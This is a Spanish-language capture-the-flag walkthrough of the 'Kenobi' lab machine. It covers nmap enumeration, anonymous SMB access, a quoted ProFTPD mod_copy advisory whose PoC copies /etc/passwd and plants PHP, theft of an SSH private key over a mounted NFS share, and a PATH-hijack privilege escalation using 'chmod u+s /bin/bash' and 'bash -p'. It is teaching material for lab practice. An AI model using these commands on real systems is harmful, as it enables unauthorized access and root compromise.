Ahora hacemos un reconocimiento con nmap para detectar que puertos estan abiertos en el host.
-sS: Indica a Nmap que realice un escaneo de tipo SYN, también conocido como "escaneo stealth".
-Pn: Esta opción indica a Nmap que ignore la detección de host y realice el escaneo de todas formas.
-n: Indica a Nmap que no realice la resolución de nombres DNS. Esto acelera el escaneo.
--open: Esta opción muestra solo los puertos que están abiertos.
-vvv: Habilita la salida detallada y verbosa de Nmap.
--min-rate 500: Establece la tasa mínima de envío de paquetes a 500 por segundo. Esto ayuda a acelerar el escaneo al aumentar la velocidad.
# Nmap 7.93 scan initiated Sat Jul 29 23:02:18 2023 as: nmap -sCV -p21,22,80,111,139,445,2049 -oN taget.txt 10.10.102.103
Nmap scan report for 10.10.102.103
Host is up (0.063s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b3ad834149e95d168d3b0f057be2c0ae (RSA)
| 256 f8277d642997e6f865546522f7c81d8a (ECDSA)
|_ 256 5a06edebb6567e4c01ddeabcbafa3379 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 36369/tcp mountd
| 100005 1,2,3 40681/udp mountd
| 100005 1,2,3 43842/udp6 mountd
| 100005 1,2,3 52273/tcp6 mountd
| 100021 1,3,4 42561/tcp nlockmgr
| 100021 1,3,4 42643/udp nlockmgr
| 100021 1,3,4 44191/tcp6 nlockmgr
| 100021 1,3,4 56149/udp6 nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs_acl 2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h40m12s, deviation: 2h53m12s, median: 12s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: kenobi
| NetBIOS computer name: KENOBI\x00
| Domain name: \x00
| FQDN: kenobi
|_ System time: 2023-07-29T16:02:43-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-07-29T21:02:43
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 29 23:02:33 2023 -- 1 IP address (1 host up) scanned in 15.35 seconds
Ahora lanzamos una nmap para ver que versiones y servicios corren para estos puertos que encontramos abiertos.
En el escaneo de Nmap observamos que tenemos el puerto 111 abierto , donde se ejecutaba el servicio rpcbind , es un servidor que convierte el numero de programa de llamada a procedimiento remoto en direcciones universales
Samba
Vamos a intentar verificar los recursos compartidos de samba mediante anonymous , para ello vamos a utilizar la herramienta smbclient
Observamos que logramos entrar y tenemos un archivo el cual nos lo descargamos a local para observar que nos dice.
log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
| . So.o++o. |
| o ...+oo.Bo*o |
| o o ..o.o+.@oo |
| . . . E .O+= . |
| . . oBo. |
+----[SHA256]-----+
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
# Port 21 is the standard FTP port.
Port 21
# Don't use IPv6 support by default.
UseIPv6 off
# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask 022
# To prevent DoS attacks, set the maximum number of child processes
# to 30. If you need to allow more than 30 concurrent connections
# at once, simply increase this value. Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances 30
# Set the user and group under which the server will run.
User kenobi
Group kenobi
# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~
# Normally, we want files to be overwriteable.
AllowOverwrite on
# Bar use of SITE CHMOD by default
<Limit SITE_CHMOD>
DenyAll
</Limit>
# A basic anonymous configuration, no upload directories. If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
User ftp
Group ftp
# We want clients to be able to login with "anonymous" as well as "ftp"
UserAlias anonymous ftp
# Limit the maximum number of anonymous logins
MaxClients 10
# We want 'welcome.msg' displayed at login, and '.message' displayed
# in each newly chdired directory.
DisplayLogin welcome.msg
DisplayChdir .message
# Limit WRITE everywhere in the anonymous chroot
<Limit WRITE>
DenyAll
</Limit>
</Anonymous>
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
# - When such options are commented with ";", the proposed setting
# differs from the default Samba behaviour
# - When commented with "#", the proposed setting is the default
# behaviour of Samba but the option is considered important
# enough to be mentioned here
#
# NOTE: Whenever you modify this file you should run the command
# "testparm" to check that you have not made any basic syntactic
# errors.
#======================= Global Settings =======================
[global]
## Browsing/Identification ###
# Change this to the workgroup/NT-domain name your Samba server will part of
workgroup = WORKGROUP
# server string is the equivalent of the NT Description field
server string = %h server (Samba, Ubuntu)
# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable its WINS Server
# wins support = no
# WINS Server - Tells the NMBD components of Samba to be a WINS Client
# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both
; wins server = w.x.y.z
# This will prevent nmbd to search for NetBIOS names through DNS.
dns proxy = no
#### Networking ####
# The specific set of interfaces / networks to bind to
# This can be either the interface name or an IP address/netmask;
# interface names are normally preferred
; interfaces = 127.0.0.0/8 eth0
# Only bind to the named interfaces and/or networks; you must use the
# 'interfaces' option above to use this.
# It is recommended that you enable this feature if your Samba machine is
# not protected by a firewall or is a firewall itself. However, this
# option cannot handle dynamic or non-broadcast interfaces correctly.
; bind interfaces only = yes
#### Debugging/Accounting ####
# This tells Samba to use a separate log file for each machine
# that connects
log file = /var/log/samba/log.%m
# Cap the size of the individual log files (in KiB).
max log size = 1000
# If you want Samba to only log through syslog then set the following
# parameter to 'yes'.
# syslog only = no
# We want Samba to log a minimum amount of information to syslog. Everything
# should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to log
# through syslog you should set the following parameter to something higher.
syslog = 0
# Do something sensible when Samba crashes: mail the admin a backtrace
panic action = /usr/share/samba/panic-action %d
####### Authentication #######
# Server role. Defines in which mode Samba will operate. Possible
# values are "standalone server", "member server", "classic primary
# domain controller", "classic backup domain controller", "active
# directory domain controller".
#
# Most people will want "standalone sever" or "member server".
# Running as "active directory domain controller" will require first
# running "samba-tool domain provision" to wipe databases and create a
# new domain.
server role = standalone server
# If you are using encrypted passwords, Samba will need to know what
# password database type you are using.
passdb backend = tdbsam
obey pam restrictions = yes
# This boolean parameter controls whether Samba attempts to sync the Unix
# password with the SMB password when the encrypted SMB password in the
# passdb is changed.
unix password sync = yes
# For Unix password sync to work on a Debian GNU/Linux system, the following
# parameters must be set (thanks to Ian Kahan <<kahan@informatik.tu-muenchen.de> for
# sending the correct chat script for the passwd program in Debian Sarge).
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in
# 'passwd program'. The default is 'no'.
pam password change = yes
# This option controls how unsuccessful authentication attempts are mapped
# to anonymous connections
map to guest = bad user
########## Domains ###########
#
# The following settings only takes effect if 'server role = primary
# classic domain controller', 'server role = backup domain controller'
# or 'domain logons' is set
#
# It specifies the location of the user's
# profile directory from the client point of view) The following
# required a [profiles] share to be setup on the samba server (see
# below)
; logon path = \\%N\profiles\%U
# Another common choice is storing the profile in the user's home directory
# (this is Samba's default)
# logon path = \\%N\%U\profile
# The following setting only takes effect if 'domain logons' is set
# It specifies the location of a user's home directory (from the client
# point of view)
; logon drive = H:
# logon home = \\%N\%U
# The following setting only takes effect if 'domain logons' is set
# It specifies the script to run during logon. The script must be stored
# in the [netlogon] share
# NOTE: Must be store in 'DOS' file format convention
; logon script = logon.cmd
# This allows Unix users to be created on the domain controller via the SAMR
# RPC pipe. The example command creates a user account with a disabled Unix
# password; please adapt to your needs
; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u
# This allows machine accounts to be created on the domain controller via the
# SAMR RPC pipe.
# The following assumes a "machines" group exists on the system
; add machine script = /usr/sbin/useradd -g machines -c "%u machine account" -d /var/lib/samba -s /bin/false %u
# This allows Unix groups to be created on the domain controller via the SAMR
# RPC pipe.
; add group script = /usr/sbin/addgroup --force-badname %g
############ Misc ############
# Using the following line enables you to customise your configuration
# on a per machine basis. The %m gets replaced with the netbios name
# of the machine that is connecting
; include = /home/samba/etc/smb.conf.%m
# Some defaults for winbind (make sure you're not using the ranges
# for something else.)
; idmap uid = 10000-20000
; idmap gid = 10000-20000
; template shell = /bin/bash
# Setup usershare options to enable non-root users to share folders
# with the net usershare command.
# Maximum number of usershare. 0 (default) means that usershare is disabled.
; usershare max shares = 100
# Allow users who've been granted usershare privileges to create
# public shares, not just authenticated ones
usershare allow guests = yes
#======================= Share Definitions =======================
# Un-comment the following (and tweak the other settings below to suit)
# to enable the default home directory shares. This will share each
# user's home directory as \\server\username
;[homes]
; comment = Home Directories
; browseable = no
# By default, the home directories are exported read-only. Change the
# next parameter to 'no' if you want to be able to write to them.
; read only = yes
# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
; create mask = 0700
# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
; directory mask = 0700
# By default, \\server\username shares can be connected to by anyone
# with access to the samba server.
# Un-comment the following parameter to make sure that only "username"
# can connect to \\server\username
# This might need tweaking when using external authentication schemes
; valid users = %S
# Un-comment the following and create the netlogon directory for Domain Logons
# (you need to configure Samba to act as a domain controller too.)
;[netlogon]
; comment = Network Logon Service
; path = /home/samba/netlogon
; guest ok = yes
; read only = yes
# Un-comment the following and create the profiles directory to store
# users profiles (see the "logon path" option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
;[profiles]
; comment = Users profiles
; path = /home/samba/profiles
; guest ok = no
; browseable = no
; create mask = 0600
; directory mask = 0700
[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
guest ok = no
read only = yes
create mask = 0700
# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
; write list = root, @lpadmin
[anonymous]
path = /home/kenobi/share
browseable = yes
read only = yes
guest ok = yes
Se puede observar que es una key de SSH
Explotacion FTP
Vamos a ver exploits que se van a poder utilizar, el FILE COPY
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:
---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------
He provides another, scarier example:
------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------
test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter
Source: http://bugs.proftpd.org/show_bug.cgi?id=4169
Aca tenemos el POC del exploit, nosotros lo adecuaremos a nuestras necesidades.
NC
Vamos ah usar SITE CPFR y el comando SITE CPTO para copiar archivos/directorios de un lugar a otro en el servidor
Tenemos que tener en cuenta que tenemos un fichero llamado log.txt que el servicio ftp se esta ejecutando como el usuario de Kenobi y se genera la clave ssh para ese usuario
Tambien sabemos que tenemos acceso al directorio /var , que podemos montar en nuestro sistema. La clave privada de Kenobi se puede copiar al directorio /var/tmp
Montura
Por lo que vamos a montar el sistema var en un directorio que vamos a crear llamado /mnt/KenobiNFS/
sudo mount 10.10.102.103:/var /mnt/KenobiNFS/
id_rsa
Ahora que tenemos el montaje de red en nuestra maquina , podemos obtener la clave privada que se puede usar para iniciar sesion mediante SSH
Nos la copiamos a nuestra maquina local y le cambiamos los permisos para usarla para loguearnos por ssh usandola.
ssh
Como observamos nos podemos conectar usando la clave id_rsa, obtenemos la primera flag la del usuario.txt, ahora vamos por la segunda la de root.txt.
Observamos que si intentamos ingresar al directorio /root no podemos no tenemos los permisos suficientes, asi que hay que escalar privilegios.
Escalada de privilegios, PATH
Tenemos algo interesante /usr/bin/menu
Al ejecutar el binario , nos da 3 opciones. Las 3 opciones no son muy interesantes , pero usando el comando strings podemos buscar cadenas legibles.
Usando el comando strings podemos observar que por ahi anda curl, ifconfig, lo cual si su ruta no es absoluta y es relativa, podemos hacer un secuestro del PATH
Realizando el siguiente proceso vamos a poder obtener los permisos de administrador
chmod u+s /bin/bash
Punto uno estando en la ruta /dev/shm y hora si listo mi PATH con el comando echo $PATH me sale la ruta de mi PATH que /usr/local etc,etc
Punto dos sabiendo la ruta del PATH, ahora podriamos exportar el PATH y decirle que su inicio sea en /dev/shm y no como sale en el punto uno que su inicio es /usr/local etc,etc
Ahora vemos mas abajo que si listo mi PATH despues de haberlo exportado, vemos que ahora no inicia desde /usr/local etc si no que inicia desde /dev/shm:/usr/local etc. ya con esto echo nos queda poco por escalar nuestros privilegios
root
Nos ejecutamos el binario ./usr/bin/menu y no vemos nada como cuando lo ejecutamos por primera vez no vemos ese estilo de curl lo que significaria que ejecuto nuestro curl y no el original.
Punto dos hacemos un bash -p para usar la bash y elevar nuestros privilegios y buscar la flag que siempre esta en el directorio /root/root.txt
